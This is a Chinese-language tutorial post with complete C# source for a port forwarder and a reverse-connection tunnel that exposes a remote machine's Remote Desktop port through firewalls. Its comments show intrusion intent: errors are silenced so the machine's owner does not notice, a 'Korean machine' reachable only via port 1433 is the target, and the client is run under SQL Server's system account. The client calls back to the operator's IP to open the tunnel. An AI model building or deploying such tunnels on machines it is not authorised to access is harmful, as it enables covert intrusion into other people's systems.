c#做端口轉發程序支持正向連接和反向鏈接
當前位置:點晴教程→知識管理交流
→『 技術文檔交流 』
3389的時候 例子1:連接a機器的3389端口連不上,因為對方防火墻或者網關做了限制,只能訪問a機器的個別端口比如80。 例子2:連接a機器的幾乎所有端口都連不上(對方乃內網或者防火墻網關做了限制),只能1433上去,但是對方可以連接你的某些端口。
解決 第一種較簡單,只需要程序在對方開80,你連接他80,程序收到數據后,發送到他本機的3389,同時從他3389收到數據后返回到你。程序就是一個中轉站。
using System; using System.Net.Sockets; using System.Threading; namespace PortTransponder { class Program { static void Main(string[] args) { TcpListener tl = new TcpListener(80);//這里開對方可以被你連接并且未被占用的端口 tl.Start(); while (true)//這里必須用循環,可以接收不止一個客戶,因為我發現終端服務有時一個端口不行就換一個端口重連 { //下面的意思就是一旦程序收到你發送的數據包后立刻開2個線程做中轉 try { TcpClient tc1 = tl.AcceptTcpClient();//這里是等待數據再執行下邊,不會100%占用cpu TcpClient tc2 = new TcpClient("localhost", 3389); tc1.SendTimeout = 300000;//設定超時,否則端口將一直被占用,即使失去連接 tc1.ReceiveTimeout = 300000; tc2.SendTimeout = 300000; tc2.ReceiveTimeout = 300000; object obj1 = (object)(new TcpClient[] { tc1, tc2 }); object obj2 = (object)(new TcpClient[] { tc2, tc1 }); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2); } catch { } } } public static void transfer(object obj) { TcpClient tc1 = ((TcpClient[])obj)[0]; TcpClient tc2 = ((TcpClient[])obj)[1]; NetworkStream ns1 = tc1.GetStream(); NetworkStream ns2 = tc2.GetStream(); while (true) { try { //這里必須try catch,否則連接一旦中斷程序就崩潰了,要是彈出錯誤提示讓機主看見那就囧了 byte[] bt = new byte[10240]; int count = ns1.Read(bt, 0, bt.Length); ns2.Write(bt, 0, count); } catch { ns1.Dispose(); ns2.Dispose(); tc1.Close(); tc2.Close(); break; } } } } }
這樣在對方機器執行和,直接mstsc /v:對方ip:80就能終端上去了
第二種稍微復雜一點,需要客戶機和服務器2個程序,你在自己機器上開服務器端,在對方機器上執行客戶端連接你的服務器端,一旦連接上你的服務器端再開個端口讓終端程序連接,對方機器上客戶端再開個端口連接他自己的3389,做2次中轉就可以終端上去了。 具體流程 本機ip開8080端口 對方機器連接你的8080端口,比如端口是49908 連接成功后 你的機器再開一個比如9833端口 對方機器再開一個連接連接他自己的3389,比如端口是49909吧 好這時你用你的mstsc連接自己的 localhost:9833,數據包就從本機9833-本機8080-對方49908-對方49909-對方3389,對方3389的數據反著回來就行了。 //服務器端 using System; using System.Collections.Generic; using System.Net.Sockets; using System.Threading; namespace fanxiangserver { class Program { public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>(); public static NetworkStream kongzhins = null; static void Main(string[] args) { ThreadPool.QueueUserWorkItem(new WaitCallback(start1)); ThreadPool.QueueUserWorkItem(new WaitCallback(start2)); WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) }); } public static void start1(object obj) { TcpListener tl = new TcpListener(8080);//開一個對方可以連接的端口,今天這棒子機器連他只能1433,其他連不上,他連別人只能80 8080 21 tl.Start(); while (true) { TcpClient tc = tl.AcceptTcpClient(); jieshou(tc); } } public static void start2(object obj) { TcpListener tl = new TcpListener(9833); //開一個隨意端口讓自己的mstsc連。 tl.Start(); while (true) { TcpClient tc = tl.AcceptTcpClient(); Random rnd = new Random(); int biaoji = rnd.Next(1000000000, 2000000000); dic.Add(biaoji, tc); byte[] bt = BitConverter.GetBytes(biaoji); kongzhins.Write(bt, 0, bt.Length); } } public static void jieshou(TcpClient tc) { //這里體現的是一個配對的問題,自己體會一下吧 NetworkStream ns = tc.GetStream(); byte[] bt = new byte[4]; int count = ns.Read(bt, 0, bt.Length); if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b) { kongzhins = ns; } else { int biaoji = BitConverter.ToInt32(bt, 0); lianjie(biaoji, tc); } } public static void lianjie(int biaoji, TcpClient tc1) { TcpClient tc2 = null; if (dic.ContainsKey(biaoji)) { dic.TryGetValue(biaoji, out tc2); dic.Remove(biaoji); tc1.SendTimeout = 300000; tc1.ReceiveTimeout = 300000; tc2.SendTimeout = 300000; tc2.ReceiveTimeout = 300000; object obj1 = (object)(new TcpClient[] { tc1, tc2 }); object obj2 = (object)(new TcpClient[] { tc2, tc1 }); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2); } } public static void transfer(object obj) { TcpClient tc1 = ((TcpClient[])obj)[0]; TcpClient tc2 = ((TcpClient[])obj)[1]; NetworkStream ns1 = tc1.GetStream(); NetworkStream ns2 = tc2.GetStream(); while (true) { try { //這里必須try catch,否則連接一旦中斷程序就崩潰了,要是彈出錯誤提示讓機主看見那就囧了 byte[] bt = new byte[10240]; int count = ns1.Read(bt, 0, bt.Length); ns2.Write(bt, 0, count); } catch { ns1.Dispose(); ns2.Dispose(); tc1.Close(); tc2.Close(); break; } } } } }
; //客戶端 using System; using System.Text; using System.Net.Sockets; using System.Threading; namespace fanxiangclient { class Program { public static NetworkStream kongzhins = null; static void Main(string[] args) { try { TcpClient tc = new TcpClient("你的IP", 8080); kongzhins = tc.GetStream(); byte[] bt = Encoding.Default.GetBytes("ok");//這里發送一個連接提示 kongzhins.Write(bt, 0, bt.Length); jieshou(); WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//這里為什么要這樣呢?我發現sqlserver執行是localsystem賬號如果console.read()程序馬上退出 } catch { } } public static void jieshou() { while (true) { byte[] bt = new byte[4]; kongzhins.Read(bt, 0, bt.Length); TcpClient tc1 = new TcpClient("你的IP", 8080); TcpClient tc2 = new TcpClient("localhost", 3389); tc1.SendTimeout = 300000; tc1.ReceiveTimeout = 300000; tc2.SendTimeout = 300000; tc2.ReceiveTimeout = 300000; tc1.GetStream().Write(bt, 0, bt.Length); object obj1 = (object)(new TcpClient[] { tc1, tc2 }); object obj2 = (object)(new TcpClient[] { tc2, tc1 }); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2); } } public static void transfer(object obj) { TcpClient tc1 = ((TcpClient[])obj)[0]; TcpClient tc2 = ((TcpClient[])obj)[1]; NetworkStream ns1 = tc1.GetStream(); NetworkStream ns2 = tc2.GetStream(); while (true) { try { byte[] bt = new byte[10240]; int count = ns1.Read(bt, 0, bt.Length); ns2.Write(bt, 0, count); } catch { ns1.Dispose(); ns2.Dispose(); tc1.Close(); tc2.Close(); break; } } } } }
好,這樣你連接mstsc /v:localhost:9833,后數據就經過了好幾轉轉到了對方的3389上。這樣即使對方是內網也可以被終端了,而且好處是對方查看netstat -an看到的是這種東西 該文章在 2017/5/30 11:55:33 編輯過 |
關鍵字查詢
相關文章
正在查詢... |